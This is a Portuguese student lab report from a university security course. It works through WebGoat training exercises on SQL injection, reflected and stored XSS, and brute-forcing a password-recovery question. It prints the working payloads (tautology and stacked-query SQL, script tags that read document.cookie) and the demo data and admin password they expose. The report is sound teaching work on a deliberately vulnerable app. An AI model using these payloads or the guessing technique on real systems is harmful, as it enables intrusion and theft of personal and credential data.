

# **Engenharia de Segurança**

## **Aula 14 - 21/05/2018**

Afonso Fontes  
(pg35389)

Bruno Carvalho  
(a67847)

Mariana Carvalho  
(a67635)

28 de Maio de 2018  
Universidade do Minho

# 1 - Injection

## Pergunta 1.1

Para explorar esta vulnerabilidade e conseguir visualizar os dados, sendo que a string digitada na caixa de texto é utilizada diretamente sem verificação na query sql, basta então utilizar uma tautologia para obter acesso à tabela toda.

```
SELECT * FROM user_data WHERE last_name = 'nada' or '1'='1'
```

USERID	FIRST_NAME	LAST_NAME	CC_NUMBER	CC_TYPE	COOKIE	LOGIN_COUNT
101	Joe	Snow	987654321	VISA		0
101	Joe	Snow	2234200065411	MC		0
102	John	Smith	2435600002222	MC		0
102	John	Smith	4352209902222	AMEX		0
103	Jane	Plane	123456789	MC		0
103	Jane	Plane	333498703333	AMEX		0
10312	Jolly	Hershey	176896789	MC		0
10312	Jolly	Hershey	333300003333	AMEX		0
10323	Grumpy	youaretheweakestlink	673834489	MC		0
10323	Grumpy	youaretheweakestlink	33413003333	AMEX		0
15603	Peter	Sand	123609789	MC		0
15603	Peter	Sand	338893453333	AMEX		0
15613	Joesph	Something	33843453533	AMEX		0

## Pergunta 1.2

Após inspecionar o código da página verificamos que a query sql executada aquando do evento *Go* estava a ser diretamente construída através dos valores presentes na caixa de seleção, assim , alterando o conteúdo do valor e descrição do input do HTML através do inspetor e clicando no Botao *Go* com essa opção selecionada conseguimos obter os dados objetivo.

```
<select name="station">
  <option value="'101' or '1' = '1'">*</option>
  <option value="102">Seattle</option>
  <option value="103">New York</option>
  <option value="104">Houston</option>
</select>
```

Go!

```
SELECT * FROM weather_data WHERE station = '101' or '1' = '1'
```

STATION	NAME	STATE	MIN_TEMP	MAX_TEMP
101	Columbia	MD	-10	102
102	Seattle	WA	-15	90
103	New York	NY	-10	110
104	Houston	TX	20	120
10001	Camp David	MD	-10	100
11001	Ice Station Zebra	NA	-60	30

### Pergunta 1.3 - Database Backdoors

Para explorar esta vulnerabilidade e alterar, por exemplo, o salário do funcionário com o id 101 para 10000, podemos preencher o form html com "101; update employee set salary = 10000 where userid = 101;", o que corresponde à execução do seguinte script sql:

```
select userid, password, ssn, salary, email
from employee
where userid=101;
```

```
update employee
set salary = 10000
where userid = 101;
```

## 2 - XSS

### Pergunta 2.1 - Reflected XSS

Por tentativa e erro, descobrimos que o form onde é suposto colocar os 3 dígitos (abaixo do form onde se coloca o número do cartão de crédito) é vulnerável. Ou seja, neste caso o nosso browser executa qualquer código colocado nesse campo dentro de tags html "script". O script de exemplo dado (<script >alert("SSA!!!") </script >) abre uma nova janela de alerta com o texto "SSA!!!". Fazendo "inspect" (funcionalidade do browser) ao form respectivo descobrimos que tem nome "fi-

eld1”, pelo que podemos passar-lhe o valor através do url e assim levar uma potencial vítima a executar um script malicioso no seu browser. Por exemplo:  
http://localhost:8080/WebGoat/start.mvc#attack/1406352188/900&field1=”Inserir aqui script malicioso”

## Pergunta 2.2 - Stored XSS

Ao editar o perfil de um utilizador, os forms para inserir os dados do perfil são vulneráveis a ataques de stored XSS. Por exemplo se definirmos o primeiro nome de um utilizador para:  
<script language=”javascript” type=”text/javascript”>alert(document.cookie);</script >  
(script dado no enunciado como exemplo) o script dentro das tags será executado sempre que alguém visualizar o perfil desse utilizador (neste caso, o conteúdo dos cookies é mostrado numa caixa de alerta).

## 3 - Quebra na autenticação

### Pergunta 3.1 - *Forgot Password*

Após introduzir o username *webgoat* com a cor *red*, é devolvida na página a password associada a esse utilizador.

## Webgoat Password Recovery

**For security reasons, please change your password immediately.**

### **Results:**

Username: webgoat

Color: red

Password: webgoat

Um dos utilizadores mais propensos a receber um ataque seria o administrador, por isso de seguida tentamos com o username *administrator*, o qual não foi aceite. Tentamos por isso com *admin*, que se comprovou ser um utilizador do sistema. Uma vez que não há limite para o número de tentativas de recuperar a password, foi possível por força bruta, i.e tentando várias cores conhecidas, descobrir a password do *admin*. Após algumas tentativas conclui-se que a sua cor preferida é *green*, obtendo assim a password do administrador.

# Webgoat Password Recovery

**For security reasons, please change your password immediately.**

**Results:**

Username: admin

Color: green

Password: 2275\$starBo0rn3